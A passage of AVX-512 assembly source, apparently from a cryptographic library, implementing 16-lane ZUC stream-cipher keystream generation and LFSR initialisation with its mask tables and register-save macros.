db 10001000b, 10001000b, 00000000b, 00000000b
alignr_mask:
dw 0xffff, 0xffff, 0xffff, 0xffff
dw 0x0000, 0xffff, 0xffff, 0xffff
dw 0xffff, 0x0000, 0xffff, 0xffff
dw 0x0000, 0x0000, 0xffff, 0xffff
dw 0xffff, 0xffff, 0x0000, 0xffff
dw 0x0000, 0xffff, 0x0000, 0xffff
dw 0xffff, 0x0000, 0x0000, 0xffff
dw 0x0000, 0x0000, 0x0000, 0xffff
dw 0xffff, 0xffff, 0xffff, 0x0000
dw 0x0000, 0xffff, 0xffff, 0x0000
dw 0xffff, 0x0000, 0xffff, 0x0000
dw 0x0000, 0x0000, 0xffff, 0x0000
dw 0xffff, 0xffff, 0x0000, 0x0000
dw 0x0000, 0xffff, 0x0000, 0x0000
dw 0xffff, 0x0000, 0x0000, 0x0000
dw 0x0000, 0x0000, 0x0000, 0x0000
mov_mask:
db 10101010b, 10101011b, 10101110b, 10101111b
db 10111010b, 10111011b, 10111110b, 10111111b
db 11101010b, 11101011b, 11101110b, 11101111b
db 11111010b, 11111011b, 11111110b, 11111111b
section .text
align 64
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define arg3 rdx
%define arg4 rcx
%else
%define arg1 rcx
%define arg2 rdx
%define arg3 r8
%define arg4 r9
%endif
%define OFS_R1 (16*(4*16))
%define OFS_R2 (OFS_R1 + (4*16))
%define OFS_X0 (OFS_R2 + (4*16))
%define OFS_X1 (OFS_X0 + (4*16))
%define OFS_X2 (OFS_X1 + (4*16))
%ifidn __OUTPUT_FORMAT__, win64
%define XMM_STORAGE 16*10
%define GP_STORAGE 8*8
%else
%define XMM_STORAGE 0
%define GP_STORAGE 6*8
%endif
%define LANE_STORAGE 64
%define VARIABLE_OFFSET XMM_STORAGE + GP_STORAGE + LANE_STORAGE
%define GP_OFFSET XMM_STORAGE
%macro FUNC_SAVE 0
mov r11, rsp
sub rsp, VARIABLE_OFFSET
and rsp, ~15
%ifidn __OUTPUT_FORMAT__, win64
; xmm6:xmm15 need to be maintained for Windows
vmovdqa [rsp + 0*16], xmm6
vmovdqa [rsp + 1*16], xmm7
vmovdqa [rsp + 2*16], xmm8
vmovdqa [rsp + 3*16], xmm9
vmovdqa [rsp + 4*16], xmm10
vmovdqa [rsp + 5*16], xmm11
vmovdqa [rsp + 6*16], xmm12
vmovdqa [rsp + 7*16], xmm13
vmovdqa [rsp + 8*16], xmm14
vmovdqa [rsp + 9*16], xmm15
mov [rsp + GP_OFFSET + 48], rdi
mov [rsp + GP_OFFSET + 56], rsi
%endif
mov [rsp + GP_OFFSET], r12
mov [rsp + GP_OFFSET + 8], r13
mov [rsp + GP_OFFSET + 16], r14
mov [rsp + GP_OFFSET + 24], r15
mov [rsp + GP_OFFSET + 32], rbx
mov [rsp + GP_OFFSET + 40], r11 ;; rsp pointer
%endmacro
%macro FUNC_RESTORE 0
%ifidn __OUTPUT_FORMAT__, win64
vmovdqa xmm6, [rsp + 0*16]
vmovdqa xmm7, [rsp + 1*16]
vmovdqa xmm8, [rsp + 2*16]
vmovdqa xmm9, [rsp + 3*16]
vmovdqa xmm10, [rsp + 4*16]
vmovdqa xmm11, [rsp + 5*16]
vmovdqa xmm12, [rsp + 6*16]
vmovdqa xmm13, [rsp + 7*16]
vmovdqa xmm14, [rsp + 8*16]
vmovdqa xmm15, [rsp + 9*16]
mov rdi, [rsp + GP_OFFSET + 48]
mov rsi, [rsp + GP_OFFSET + 56]
%endif
mov r12, [rsp + GP_OFFSET]
mov r13, [rsp + GP_OFFSET + 8]
mov r14, [rsp + GP_OFFSET + 16]
mov r15, [rsp + GP_OFFSET + 24]
mov rbx, [rsp + GP_OFFSET + 32]
mov rsp, [rsp + GP_OFFSET + 40]
%endmacro
; This macro reorder the LFSR registers
; after N rounds (1 <= N <= 15), since the registers
; are shifted every round
;
; The macro clobbers ZMM0-15
;
%macro REORDER_LFSR 3
%define %%STATE %1
%define %%NUM_ROUNDS %2
%define %%LANE_MASK %3
%if %%NUM_ROUNDS != 16
%assign i 0
%rep 16
vmovdqa32 APPEND(zmm,i){%%LANE_MASK}, [%%STATE + 64*i]
%assign i (i+1)
%endrep
%assign i 0
%assign j %%NUM_ROUNDS
%rep 16
vmovdqa32 [%%STATE + 64*i]{%%LANE_MASK}, APPEND(zmm,j)
%assign i (i+1)
%assign j ((j+1) % 16)
%endrep
%endif ;; %%NUM_ROUNDS != 16
%endmacro
;
; Perform a partial 16x16 transpose (as opposed to a full 16x16 transpose),
; where the output is chunks of 16 bytes from 4 different buffers interleaved
; in each register (all ZMM registers)
;
; Input:
; a0 a1 a2 a3 a4 a5 a6 a7 .... a15
; b0 b1 b2 b3 b4 b5 b6 b7 .... b15
; c0 c1 c2 c3 c4 c5 c6 c7 .... c15
; d0 d1 d2 d3 d4 d5 d6 d7 .... d15
;
; Output:
; a0 b0 c0 d0 a4 b4 c4 d4 .... d12
; a1 b1 c1 d1 a5 b5 c5 d5 .... d13
; a2 b2 c2 d2 a6 b6 c6 d6 .... d14
; a3 b3 c3 d3 a7 b7 c7 d7 .... d15
;
%macro TRANSPOSE16_U32_INTERLEAVED 26
%define %%IN00 %1 ; [in/out] Bytes 0-3 for all buffers (in) / Bytes 0-15 for buffers 3,7,11,15 (out)
%define %%IN01 %2 ; [in/out] Bytes 4-7 for all buffers (in) / Bytes 16-31 for buffers 3,7,11,15 (out)
%define %%IN02 %3 ; [in/out] Bytes 8-11 for all buffers (in) / Bytes 32-47 for buffers 3,7,11,15 (out)
%define %%IN03 %4 ; [in/out] Bytes 12-15 for all buffers (in) / Bytes 48-63 for buffers 3,7,11,15 (out)
%define %%IN04 %5 ; [in/clobbered] Bytes 16-19 for all buffers (in)
%define %%IN05 %6 ; [in/clobbered] Bytes 20-23 for all buffers (in)
%define %%IN06 %7 ; [in/clobbered] Bytes 24-27 for all buffers (in)
%define %%IN07 %8 ; [in/clobbered] Bytes 28-31 for all buffers (in)
%define %%IN08 %9 ; [in/clobbered] Bytes 32-35 for all buffers (in)
%define %%IN09 %10 ; [in/clobbered] Bytes 36-39 for all buffers (in)
%define %%IN10 %11 ; [in/clobbered] Bytes 40-43 for all buffers (in)
%define %%IN11 %12 ; [in/clobbered] Bytes 44-47 for all buffers (in)
%define %%IN12 %13 ; [in/out] Bytes 48-51 for all buffers (in) / Bytes 0-15 for buffers 2,6,10,14 (out)
%define %%IN13 %14 ; [in/out] Bytes 52-55 for all buffers (in) / Bytes 16-31 for buffers 2,6,10,14 (out)
%define %%IN14 %15 ; [in/out] Bytes 56-59 for all buffers (in) / Bytes 32-47 for buffers 2,6,10,14 (out)
%define %%IN15 %16 ; [in/out] Bytes 60-63 for all buffers (in) / Bytes 48-63 for buffers 2,6,10,14 (out)
%define %%T0 %17 ; [out] Bytes 32-47 for buffers 1,5,9,13 (out)
%define %%T1 %18 ; [out] Bytes 48-63 for buffers 1,5,9,13 (out)
%define %%T2 %19 ; [out] Bytes 32-47 for buffers 0,4,8,12 (out)
%define %%T3 %20 ; [out] Bytes 48-63 for buffers 0,4,8,12 (out)
%define %%K0 %21 ; [out] Bytes 0-15 for buffers 1,5,9,13 (out)
%define %%K1 %22 ; [out] Bytes 16-31for buffers 1,5,9,13 (out)
%define %%K2 %23 ; [out] Bytes 0-15 for buffers 0,4,8,12 (out)
%define %%K3 %24 ; [out] Bytes 16-31 for buffers 0,4,8,12 (out)
%define %%K4 %25 ; [clobbered] Temporary register
%define %%K5 %26 ; [clobbered] Temporary register
vpunpckldq %%K0, %%IN00, %%IN01
vpunpckhdq %%K1, %%IN00, %%IN01
vpunpckldq %%T0, %%IN02, %%IN03
vpunpckhdq %%T1, %%IN02, %%IN03
vpunpckldq %%IN00, %%IN04, %%IN05
vpunpckhdq %%IN01, %%IN04, %%IN05
vpunpckldq %%IN02, %%IN06, %%IN07
vpunpckhdq %%IN03, %%IN06, %%IN07
vpunpcklqdq %%K2, %%K0, %%T0
vpunpckhqdq %%K3, %%K0, %%T0
vpunpcklqdq %%T2, %%K1, %%T1
vpunpckhqdq %%T3, %%K1, %%T1
vpunpcklqdq %%K0, %%IN00, %%IN02
vpunpckhqdq %%K1, %%IN00, %%IN02
vpunpcklqdq %%T0, %%IN01, %%IN03
vpunpckhqdq %%T1, %%IN01, %%IN03
vpunpckldq %%K4, %%IN08, %%IN09
vpunpckhdq %%K5, %%IN08, %%IN09
vpunpckldq %%IN04, %%IN10, %%IN11
vpunpckhdq %%IN05, %%IN10, %%IN11
vpunpckldq %%IN06, %%IN12, %%IN13
vpunpckhdq %%IN07, %%IN12, %%IN13
vpunpckldq %%IN10, %%IN14, %%IN15
vpunpckhdq %%IN11, %%IN14, %%IN15
vpunpcklqdq %%IN12, %%K4, %%IN04
vpunpckhqdq %%IN13, %%K4, %%IN04
vpunpcklqdq %%IN14, %%K5, %%IN05
vpunpckhqdq %%IN15, %%K5, %%IN05
vpunpcklqdq %%IN00, %%IN06, %%IN10
vpunpckhqdq %%IN01, %%IN06, %%IN10
vpunpcklqdq %%IN02, %%IN07, %%IN11
vpunpckhqdq %%IN03, %%IN07, %%IN11
%endmacro
;
; bits_reorg16()
;
%macro bits_reorg16 16-17
%define %%STATE %1 ; [in] ZUC state
%define %%ROUND_NUM %2 ; [in] Round number
%define %%LANE_MASK %3 ; [in] Mask register with lanes to update
%define %%LFSR_0 %4 ; [clobbered] LFSR_0
%define %%LFSR_2 %5 ; [clobbered] LFSR_2
%define %%LFSR_5 %6 ; [clobbered] LFSR_5
%define %%LFSR_7 %7 ; [clobbered] LFSR_7
%define %%LFSR_9 %8 ; [clobbered] LFSR_9
%define %%LFSR_11 %9 ; [clobbered] LFSR_11
%define %%LFSR_14 %10 ; [clobbered] LFSR_14
%define %%LFSR_15 %11 ; [clobbered] LFSR_15
%define %%ZTMP %12 ; [clobbered] Temporary ZMM register
%define %%BLEND_KMASK %13 ; [in] Blend K-mask
%define %%X0 %14 ; [out] ZMM register containing X0 of all lanes (for init)
%define %%X1 %15 ; [out] ZMM register containing X1 of all lanes (for init)
%define %%X2 %16 ; [out] ZMM register containing X2 of all lanes (for init)
%define %%X3 %17 ; [out] ZMM register containing X3 of all lanes (not for init)
vmovdqa64 %%LFSR_15, [%%STATE + ((15 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_14, [%%STATE + ((14 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_11, [%%STATE + ((11 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_9, [%%STATE + (( 9 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_7, [%%STATE + (( 7 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_5, [%%STATE + (( 5 + %%ROUND_NUM) % 16)*64]
%if (%0 == 17) ; Only needed when generating X3 (for "working" mode)
vmovdqa64 %%LFSR_2, [%%STATE + (( 2 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_0, [%%STATE + (( 0 + %%ROUND_NUM) % 16)*64]
%endif
%if USE_GFNI == 1
vpsrld %%LFSR_15, 15
vpslld %%LFSR_14, 16
vpslld %%LFSR_9, 1
vpslld %%LFSR_5, 1
%if (%0 == 17)
vpslld %%LFSR_0, 1
vpshldd %%LFSR_15, %%LFSR_14, 16
vpshldd %%LFSR_11, %%LFSR_9, 16
vpshldd %%LFSR_7, %%LFSR_5, 16
vmovdqa32 [%%STATE + OFS_X0]{%%LANE_MASK}, %%LFSR_15 ; BRC_X0
vmovdqa32 [%%STATE + OFS_X1]{%%LANE_MASK}, %%LFSR_11 ; BRC_X1
vmovdqa32 [%%STATE + OFS_X2]{%%LANE_MASK}, %%LFSR_7 ; BRC_X2
vpshldd %%X3, %%LFSR_2, %%LFSR_0, 16
%else
vpshldd %%X0, %%LFSR_15, %%LFSR_14, 16
vpshldd %%X1, %%LFSR_11, %%LFSR_9, 16
vpshldd %%X2, %%LFSR_7, %%LFSR_5, 16
%endif
%else ; USE_GFNI == 1
vpxorq %%ZTMP, %%ZTMP
vpslld %%LFSR_15, 1
vpblendmw %%ZTMP{%%BLEND_KMASK}, %%LFSR_14, %%ZTMP
%if (%0 == 17)
vpblendmw %%LFSR_15{k1}, %%ZTMP, %%LFSR_15
vmovdqa32 [%%STATE + OFS_X0]{%%LANE_MASK}, %%LFSR_15 ; BRC_X0
vpslld %%LFSR_11, 16
vpsrld %%LFSR_9, 15
vporq %%LFSR_11, %%LFSR_9
vmovdqa32 [%%STATE + OFS_X1]{%%LANE_MASK}, %%LFSR_11 ; BRC_X1
vpslld %%LFSR_7, 16
vpsrld %%LFSR_5, 15
vporq %%LFSR_7, %%LFSR_5
vmovdqa32 [%%STATE + OFS_X2]{%%LANE_MASK}, %%LFSR_7 ; BRC_X2
vpslld %%LFSR_2, 16
vpsrld %%LFSR_0, 15
vporq %%X3, %%LFSR_2, %%LFSR_0 ; Store BRC_X3 in ZMM register
%else ; %0 == 17
vpblendmw %%X0{%%BLEND_KMASK}, %%ZTMP, %%LFSR_15
vpslld %%LFSR_11, 16
vpsrld %%LFSR_9, 15
vporq %%X1, %%LFSR_11, %%LFSR_9
vpslld %%LFSR_7, 16
vpsrld %%LFSR_5, 15
vporq %%X2, %%LFSR_7, %%LFSR_5
%endif ; %0 == 17
%endif ; USE_GFNI == 1
%endmacro
;
; nonlin_fun16()
;
; return
; W value, updates F_R1[] / F_R2[]
;
%macro nonlin_fun16 14-15
%define %%STATE %1 ; [in] ZUC state
%define %%LANE_MASK %2 ; [in] Mask register with lanes to update
%define %%MODE %3 ; [in] Mode = init or working
%define %%X0 %4 ; [in] ZMM register containing X0 of all lanes (for init)
%define %%X1 %5 ; [in] ZMM register containing X1 of all lanes (for init)
%define %%X2 %6 ; [in] ZMM register containing X2 of all lanes (for init)
%define %%R1 %7 ; [in/out] ZMM register to contain R1 for all lanes (for init)
%define %%R2 %8 ; [in/out] ZMM register to contain R2 for all lanes (for init)
%define %%ZTMP1 %9 ; [clobbered] Temporary ZMM register
%define %%ZTMP2 %10 ; [clobbered] Temporary ZMM register
%define %%ZTMP3 %11 ; [clobbered] Temporary ZMM register
%define %%ZTMP4 %12 ; [clobbered] Temporary ZMM register
%define %%ZTMP5 %13 ; [clobbered] Temporary ZMM register
%define %%ZTMP6 %14 ; [clobbered] Temporary ZMM register
%define %%W %15 ; [out] ZMM register to contain W for all lanes
%define %%W1 %%ZTMP5
%define %%W2 %%ZTMP6
%ifidn %%MODE, init
%if (%0 == 15)
vpxorq %%W, %%X0, %%R1
vpaddd %%W, %%R2 ; W = (BRC_X0 ^ F_R1) + F_R2
%endif
vpaddd %%W1, %%R1, %%X1 ; W1 = F_R1 + BRC_X1
vpxorq %%W2, %%R2, %%X2 ; W2 = F_R2 ^ BRC_X2
%else
%if (%0 == 15)
vmovdqa64 %%W, [%%STATE + OFS_X0]
vpxorq %%W, [%%STATE + OFS_R1]
vpaddd %%W, [%%STATE + OFS_R2] ; W = (BRC_X0 ^ F_R1) + F_R2
%endif
vmovdqa64 %%W1, [%%STATE + OFS_R1]
vmovdqa64 %%W2, [%%STATE + OFS_R2]
vpaddd %%W1, [%%STATE + OFS_X1] ; W1 = F_R1 + BRC_X1
vpxorq %%W2, [%%STATE + OFS_X2] ; W2 = F_R2 ^ BRC_X2
%endif
%if USE_GFNI == 1
vpshldd %%ZTMP1, %%W1, %%W2, 16
vpshldd %%ZTMP2, %%W2, %%W1, 16
%else
vpslld %%ZTMP3, %%W1, 16
vpsrld %%ZTMP4, %%W1, 16
vpslld %%ZTMP5, %%W2, 16
vpsrld %%ZTMP6, %%W2, 16
vporq %%ZTMP1, %%ZTMP3, %%ZTMP6
vporq %%ZTMP2, %%ZTMP4, %%ZTMP5
%endif
vprold %%ZTMP3, %%ZTMP1, 10
vprold %%ZTMP4, %%ZTMP1, 18
vprold %%ZTMP5, %%ZTMP1, 24
vprold %%ZTMP6, %%ZTMP1, 2
; ZMM1 = U = L1(P)
vpternlogq %%ZTMP1, %%ZTMP3, %%ZTMP4, 0x96 ; (A ^ B) ^ C
vpternlogq %%ZTMP1, %%ZTMP5, %%ZTMP6, 0x96 ; (A ^ B) ^ C
vprold %%ZTMP3, %%ZTMP2, 8
vprold %%ZTMP4, %%ZTMP2, 14
vprold %%ZTMP5, %%ZTMP2, 22
vprold %%ZTMP6, %%ZTMP2, 30
; ZMM2 = V = L2(Q)
vpternlogq %%ZTMP2, %%ZTMP3, %%ZTMP4, 0x96 ; (A ^ B) ^ C
vpternlogq %%ZTMP2, %%ZTMP5, %%ZTMP6, 0x96 ; (A ^ B) ^ C
; Shuffle U and V to have all S0 lookups in XMM1 and all S1 lookups in XMM2
; Compress all S0 and S1 input values in each register
; S0: Bytes 0-7,16-23,32-39,48-55 S1: Bytes 8-15,24-31,40-47,56-63
vpshufb %%ZTMP1, [rel S0_S1_shuf]
; S1: Bytes 0-7,16-23,32-39,48-55 S0: Bytes 8-15,24-31,40-47,56-63
vpshufb %%ZTMP2, [rel S1_S0_shuf]
vshufpd %%ZTMP3, %%ZTMP1, %%ZTMP2, 0xAA ; All S0 input values
vshufpd %%ZTMP4, %%ZTMP2, %%ZTMP1, 0xAA ; All S1 input values
; Compute S0 and S1 values
S0_comput_AVX512 %%ZTMP3, %%ZTMP1, %%ZTMP2, USE_GFNI
S1_comput_AVX512 %%ZTMP4, %%ZTMP1, %%ZTMP2, %%ZTMP5, %%ZTMP6, USE_GFNI
; Need to shuffle back %%ZTMP1 & %%ZTMP2 before storing output
; (revert what was done before S0 and S1 computations)
vshufpd %%ZTMP1, %%ZTMP3, %%ZTMP4, 0xAA
vshufpd %%ZTMP2, %%ZTMP4, %%ZTMP3, 0xAA
%ifidn %%MODE, init
vpshufb %%R1, %%ZTMP1, [rel rev_S0_S1_shuf]
vpshufb %%R2, %%ZTMP2, [rel rev_S1_S0_shuf]
%else
vpshufb %%ZTMP1, [rel rev_S0_S1_shuf]
vpshufb %%ZTMP2, [rel rev_S1_S0_shuf]
vmovdqa32 [%%STATE + OFS_R1]{%%LANE_MASK}, %%ZTMP1
vmovdqa32 [%%STATE + OFS_R2]{%%LANE_MASK}, %%ZTMP2
%endif
%endmacro
;
; store_kstr16()
;
%macro store_kstr16 17-23
%define %%DATA64B_L0 %1 ; [in] 64 bytes of keystream for lane 0
%define %%DATA64B_L1 %2 ; [in] 64 bytes of keystream for lane 1
%define %%DATA64B_L2 %3 ; [in] 64 bytes of keystream for lane 2
%define %%DATA64B_L3 %4 ; [in] 64 bytes of keystream for lane 3
%define %%DATA64B_L4 %5 ; [in] 64 bytes of keystream for lane 4
%define %%DATA64B_L5 %6 ; [in] 64 bytes of keystream for lane 5
%define %%DATA64B_L6 %7 ; [in] 64 bytes of keystream for lane 6
%define %%DATA64B_L7 %8 ; [in] 64 bytes of keystream for lane 7
%define %%DATA64B_L8 %9 ; [in] 64 bytes of keystream for lane 8
%define %%DATA64B_L9 %10 ; [in] 64 bytes of keystream for lane 9
%define %%DATA64B_L10 %11 ; [in] 64 bytes of keystream for lane 10
%define %%DATA64B_L11 %12 ; [in] 64 bytes of keystream for lane 11
%define %%DATA64B_L12 %13 ; [in] 64 bytes of keystream for lane 12
%define %%DATA64B_L13 %14 ; [in] 64 bytes of keystream for lane 13
%define %%DATA64B_L14 %15 ; [in] 64 bytes of keystream for lane 14
%define %%DATA64B_L15 %16 ; [in] 64 bytes of keystream for lane 15
%define %%KEY_OFF %17 ; [in] Offset to start writing Keystream
%define %%LANE_MASK %18 ; [in] Lane mask with lanes to generate all keystream words
%define %%ALIGN_MASK %19 ; [in] Address with alignr masks
%define %%MOV_MASK %20 ; [in] Address with move masks
%define %%TMP %21 ; [in] Temporary GP register
%define %%KMASK1 %22 ; [clobbered] Temporary K mask
%define %%KMASK2 %23 ; [clobbered] Temporary K mask
%if (%0 == 17)
vmovdqu64 [pKS + arg3*4], %%DATA64B_L0
vmovdqu64 [pKS + arg3*4 + 64], %%DATA64B_L1
vmovdqu64 [pKS + arg3*4 + 2*64], %%DATA64B_L2
vmovdqu64 [pKS + arg3*4 + 3*64], %%DATA64B_L3
vmovdqu64 [pKS + arg3*4 + 512], %%DATA64B_L4
vmovdqu64 [pKS + arg3*4 + 512 + 64], %%DATA64B_L5
vmovdqu64 [pKS + arg3*4 + 512 + 2*64], %%DATA64B_L6
vmovdqu64 [pKS + arg3*4 + 512 + 3*64], %%DATA64B_L7
vmovdqu64 [pKS + arg3*4 + 512*2], %%DATA64B_L8
vmovdqu64 [pKS + arg3*4 + 512*2 + 64], %%DATA64B_L9
vmovdqu64 [pKS + arg3*4 + 512*2 + 64*2], %%DATA64B_L10
vmovdqu64 [pKS + arg3*4 + 512*2 + 64*3], %%DATA64B_L11
vmovdqu64 [pKS + arg3*4 + 512*3], %%DATA64B_L12
vmovdqu64 [pKS + arg3*4 + 512*3 + 64], %%DATA64B_L13
vmovdqu64 [pKS + arg3*4 + 512*3 + 64*2], %%DATA64B_L14
vmovdqu64 [pKS + arg3*4 + 512*3 + 64*3], %%DATA64B_L15
%else
pext DWORD(%%TMP), DWORD(%%LANE_MASK), [rel extr_bits_0_4_8_12]
kmovq %%KMASK1, [%%ALIGN_MASK + 8*%%TMP]
kmovb %%KMASK2, [%%MOV_MASK + %%TMP]
; Shifting left 8 bytes of KS for lanes which first 8 bytes are skipped
vpalignr %%DATA64B_L3{%%KMASK1}, %%DATA64B_L3, %%DATA64B_L2, 8
vpalignr %%DATA64B_L2{%%KMASK1}, %%DATA64B_L2, %%DATA64B_L1, 8
vpalignr %%DATA64B_L1{%%KMASK1}, %%DATA64B_L1, %%DATA64B_L0, 8
vpalignr %%DATA64B_L0{%%KMASK1}, %%DATA64B_L0, %%DATA64B_L3, 8
vmovdqu64 [pKS + arg3*4]{%%KMASK2}, %%DATA64B_L0
vmovdqu64 [pKS + arg3*4 + 64], %%DATA64B_L1
vmovdqu64 [pKS + arg3*4 + 2*64], %%DATA64B_L2
vmovdqu64 [pKS + arg3*4 + 3*64], %%DATA64B_L3
pext DWORD(%%TMP), DWORD(%%LANE_MASK), [rel extr_bits_1_5_9_13]
kmovq %%KMASK1, [%%ALIGN_MASK + 8*%%TMP]
kmovb %%KMASK2, [%%MOV_MASK + %%TMP]
vpalignr %%DATA64B_L7{%%KMASK1}, %%DATA64B_L7, %%DATA64B_L6, 8
vpalignr %%DATA64B_L6{%%KMASK1}, %%DATA64B_L6, %%DATA64B_L5, 8
vpalignr %%DATA64B_L5{%%KMASK1}, %%DATA64B_L5, %%DATA64B_L4, 8
vpalignr %%DATA64B_L4{%%KMASK1}, %%DATA64B_L4, %%DATA64B_L7, 8
vmovdqu64 [pKS + arg3*4 + 512]{%%KMASK2}, %%DATA64B_L4
vmovdqu64 [pKS + arg3*4 + 512 + 64], %%DATA64B_L5
vmovdqu64 [pKS + arg3*4 + 512 + 64*2], %%DATA64B_L6
vmovdqu64 [pKS + arg3*4 + 512 + 64*3], %%DATA64B_L7
pext DWORD(%%TMP), DWORD(%%LANE_MASK), [rel extr_bits_2_6_10_14]
kmovq %%KMASK1, [%%ALIGN_MASK + 8*%%TMP]
kmovb %%KMASK2, [%%MOV_MASK + %%TMP]
vpalignr %%DATA64B_L11{%%KMASK1}, %%DATA64B_L11, %%DATA64B_L10, 8
vpalignr %%DATA64B_L10{%%KMASK1}, %%DATA64B_L10, %%DATA64B_L9, 8
vpalignr %%DATA64B_L9{%%KMASK1}, %%DATA64B_L9, %%DATA64B_L8, 8
vpalignr %%DATA64B_L8{%%KMASK1}, %%DATA64B_L8, %%DATA64B_L11, 8
vmovdqu64 [pKS + arg3*4 + 512*2]{%%KMASK2}, %%DATA64B_L8
vmovdqu64 [pKS + arg3*4 + 512*2 + 64], %%DATA64B_L9
vmovdqu64 [pKS + arg3*4 + 512*2 + 64*2], %%DATA64B_L10
vmovdqu64 [pKS + arg3*4 + 512*2 + 64*3], %%DATA64B_L11
pext DWORD(%%TMP), DWORD(%%LANE_MASK), [rel extr_bits_3_7_11_15]
kmovq %%KMASK1, [%%ALIGN_MASK + 8*%%TMP]
kmovb %%KMASK2, [%%MOV_MASK + %%TMP]
vpalignr %%DATA64B_L15{%%KMASK1}, %%DATA64B_L15, %%DATA64B_L14, 8
vpalignr %%DATA64B_L14{%%KMASK1}, %%DATA64B_L14, %%DATA64B_L13, 8
vpalignr %%DATA64B_L13{%%KMASK1}, %%DATA64B_L13, %%DATA64B_L12, 8
vpalignr %%DATA64B_L12{%%KMASK1}, %%DATA64B_L12, %%DATA64B_L15, 8
vmovdqu64 [pKS + arg3*4 + 512*3]{%%KMASK2}, %%DATA64B_L12
vmovdqu64 [pKS + arg3*4 + 512*3 + 64], %%DATA64B_L13
vmovdqu64 [pKS + arg3*4 + 512*3 + 64*2], %%DATA64B_L14
vmovdqu64 [pKS + arg3*4 + 512*3 + 64*3], %%DATA64B_L15
%endif
%endmacro
;
; add_mod31()
; add two 32-bit args and reduce mod (2^31-1)
;
%macro add_mod31 4
%define %%IN_OUT %1 ; [in/out] ZMM register with first input and output
%define %%IN2 %2 ; [in] ZMM register with second input
%define %%ZTMP %3 ; [clobbered] Temporary ZMM register
%define %%MASK31 %4 ; [in] ZMM register containing 0x7FFFFFFF's in all dwords
vpaddd %%IN_OUT, %%IN2
vpsrld %%ZTMP, %%IN_OUT, 31
vpandq %%IN_OUT, %%MASK31
vpaddd %%IN_OUT, %%ZTMP
%endmacro
;
; rot_mod31()
; rotate (mult by pow of 2) 32-bit arg and reduce mod (2^31-1)
;
%macro rot_mod31 4
%define %%IN_OUT %1 ; [in/out] ZMM register with input and output
%define %%ZTMP %2 ; [clobbered] Temporary ZMM register
%define %%MASK31 %3 ; [in] ZMM register containing 0x7FFFFFFF's in all dwords
%define %%N_BITS %4 ; [immediate] Number of bits to rotate for each dword
vpslld %%ZTMP, %%IN_OUT, %%N_BITS
vpsrld %%IN_OUT, %%IN_OUT, (31 - %%N_BITS)
vpternlogq %%IN_OUT, %%ZTMP, %%MASK31, 0xA8 ; (A | B) & C
%endmacro
;
; lfsr_updt16()
;
%macro lfsr_updt16 13
%define %%STATE %1 ; [in] ZUC state
%define %%ROUND_NUM %2 ; [in] Round number
%define %%LANE_MASK %3 ; [in] Mask register with lanes to update
%define %%LFSR_0 %4 ; [clobbered] LFSR_0
%define %%LFSR_4 %5 ; [clobbered] LFSR_2
%define %%LFSR_10 %6 ; [clobbered] LFSR_5
%define %%LFSR_13 %7 ; [clobbered] LFSR_7
%define %%LFSR_15 %8 ; [clobbered] LFSR_9
%define %%ZTMP %9 ; [clobbered] Temporary ZMM register
%define %%MASK_31 %10 ; [in] Mask_31
%define %%W %11 ; [in/clobbered] In init mode, contains W for all 16 lanes
%define %%KTMP %12 ; [clobbered] Temporary K mask
%define %%MODE %13 ; [constant] "init" / "work" mode
vmovdqa64 %%LFSR_0, [%%STATE + (( 0 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_4, [%%STATE + (( 4 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_10, [%%STATE + ((10 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_13, [%%STATE + ((13 + %%ROUND_NUM) % 16)*64]
vmovdqa64 %%LFSR_15, [%%STATE + ((15 + %%ROUND_NUM) % 16)*64]
; Calculate LFSR feedback (S_16)
; In Init mode, W is added to the S_16 calculation
%ifidn %%MODE, init
add_mod31 %%W, %%LFSR_0, %%ZTMP, %%MASK_31
%else
vmovdqa64 %%W, %%LFSR_0
%endif
rot_mod31 %%LFSR_0, %%ZTMP, %%MASK_31, 8
add_mod31 %%W, %%LFSR_0, %%ZTMP, %%MASK_31
rot_mod31 %%LFSR_4, %%ZTMP, %%MASK_31, 20
add_mod31 %%W, %%LFSR_4, %%ZTMP, %%MASK_31
rot_mod31 %%LFSR_10, %%ZTMP, %%MASK_31, 21
add_mod31 %%W, %%LFSR_10, %%ZTMP, %%MASK_31
rot_mod31 %%LFSR_13, %%ZTMP, %%MASK_31, 17
add_mod31 %%W, %%LFSR_13, %%ZTMP, %%MASK_31
rot_mod31 %%LFSR_15, %%ZTMP, %%MASK_31, 15
add_mod31 %%W, %%LFSR_15, %%ZTMP, %%MASK_31
vmovdqa32 [%%STATE + (( 0 + %%ROUND_NUM) % 16)*64]{%%LANE_MASK}, %%W
; LFSR_S16 = (LFSR_S15++) = eax
%endmacro
;
; Initialize LFSR registers for a single lane, for ZUC-128
;
; From spec, s_i (LFSR) registers need to be loaded as follows:
;
; For 0 <= i <= 15, let s_i= k_i || d_i || iv_i.
; Where k_i is each byte of the key, d_i is a 15-bit constant
; and iv_i is each byte of the IV.
;
%macro INIT_LFSR_128 4
%define %%KEY %1 ;; [in] Key pointer
%define %%IV %2 ;; [in] IV pointer
%define %%LFSR %3 ;; [out] ZMM register to contain initialized LFSR regs
%define %%ZTMP %4 ;; [clobbered] ZMM temporary register
vbroadcasti64x2 %%LFSR, [%%KEY]
vbroadcasti64x2 %%ZTMP, [%%IV]
vpshufb %%LFSR, [rel shuf_mask_key]
vpsrld %%LFSR, 1
vpshufb %%ZTMP, [rel shuf_mask_iv]
vpternlogq %%LFSR, %%ZTMP, [rel EK_d64], 0xFE ; A OR B OR C
%endmacro
;
; Initialize LFSR registers for a single lane, for ZUC-256
;
%macro INIT_LFSR_256 11
%define %%KEY %1 ;; [in] Key pointer
%define %%IV %2 ;; [in] IV pointer
%define %%LFSR %3 ;; [out] ZMM register to contain initialized LFSR regs
%define %%ZTMP1 %4 ;; [clobbered] ZMM temporary register
%define %%ZTMP2 %5 ;; [clobbered] ZMM temporary register
%define %%ZTMP3 %6 ;; [clobbered] ZMM temporary register
%define %%ZTMP4 %7 ;; [clobbered] ZMM temporary register
